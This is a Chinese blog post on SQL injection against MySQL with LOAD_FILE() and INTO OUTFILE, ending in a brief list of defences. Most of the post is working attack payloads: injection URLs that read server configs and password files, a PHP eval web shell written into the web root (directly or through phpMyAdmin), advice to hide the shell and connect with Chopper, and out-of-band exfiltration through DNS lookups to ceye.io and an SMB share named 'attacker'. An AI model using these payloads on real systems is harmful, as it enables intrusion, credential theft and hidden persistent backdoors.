mysql load_file()和 into outfile

 

0x00 load_file()

  • 条件:
1. 要有file_priv权限
2. 知道文件绝对路径
3. 能使用union
4. 对web目录有读权限  
注:若过滤了单引号,则可以将函数中的字符进行hex编码
  • 一般步骤

    • 读/etc/init.d下的东西,这里有配置文件路径
    ?id=1' union select 1,2,load_file('/etc/init.d/httpd')
    
    • 得到web安装路径
    ?id=1' union select 1,2,load_file('/etc/apache/conf/httpd.conf')
    
    • 读取密码文件
    ?id=1' union select 1,2,load_file('/site/xxx.com/conf/conn.inc.php')

 

 

 

读文件

 

如果用户具有FILE权限,则可以读取文件。

 

LOAD_FILE()

Examples:
SELECT LOAD_FILE('F:/wing.txt');
SELECT LOAD_FILE(0x463A2F77696E672E747874);

tips:

  • 文件必须位于服务器主机上。
  • LOAD_FILE()的基本目录是@@datadir。
  • 该文件必须是MySQL用户可读的。
  • 文件大小必须小于max_allowed_packet。
  • @@max_allowed_packet的默认大小是1047552字节。

 

0x01 into outfile

  • 条件:
1. 要有file_priv权限  
2. 知道网站绝对路径  
3. 要能用union  
4. 对web目录有写权限  
5. 没有过滤单引号
6.
文件不能用INTO OUTFILE覆盖
7.INTO OUTFILE必须是查询中的最后一个语句。
8.没有办法对路径名进行编码,所以引号是必需的。
  • 一般方法
    当知道路径时,可以直接用?id=1 union select "<?php @eval($_POST['c']);?>" into outfile"C:/phpStudy/WWW/a.php"

  •  当"<?php @eval($_POST['c']);?>" 是双引号括起来时是正常的,如果是单引号括起来,里面的单引号就变为两个单引号为一个单引号 如'<?php @eval($_POST[''c'']);?>'
  • 这里改为十六进制也是可以的 如  select 0x3c3f70687020706870696e666f28293b203f3e into outfile"c:\1.txt" 
    • 外通道

      DNS Requests:
      SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.ceye.io\\'));
      

       

      SMB Requests:
      ' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt
      





  • 其他方法

    • 登陆phpMyAdmin
    use test;  选择数据库为test
    create table aaa(bbb varchar(64));   在数据库中创建一个表aaa
    insert into aaa values("<?php @eval($_POST['c']);?>"); --在aaa中插入一条数据<?php @eval($_POST['c']);?>
    select * from aaa into outfile 'C:/phpStudy/WWW/a.php'; --将aaa中的数据导出到文件a.php
    
    • localhost:80/a.php能访问
    drop aaa; --删除建立的表
    
    • 然后菜刀连接
    菜刀连接http://www.aa.com/a.php,然后更改shell的名字并将shell放在较隐蔽的地方,比如C:\phpStudy\WWW\phpMyAdmin\setup\lib\common.php

 

 

1、如果MYSQL服务器就是你要导出文件的机器,那么可以直接用select …into outfile语句。

 

select * from rank into outfile "/home/a.txt"

 

2、如果MYSQL服务器是单独的机器,我们是在一个client上进行操作,我们要把数据结果导入到client机器上。可以使用mysql -e语句。

 

mysql -uroot -proot -P3306 -h10.35.13.89 dbname -e "select * from rank" > /home/a.txt

 

3、使用mysql的tee(T)命令,也就是把MYSQL的所有输出都输入到指定文件。

 

mysql>tee /home/a.txt
mysql>select * from rank;
mysql>exit

 

 

mysql> \T output.txt
Logging to file 'output.txt'
mysql> \t
Outfile disabled.

 

0x02 防御

  • 数据库连接账号不要用root权限
  • php关闭报错模式
  • mysql账户没有权限向网站目录写文件
posted @ 2018-07-04 21:14  风水师  阅读(570)  评论(0编辑  收藏  举报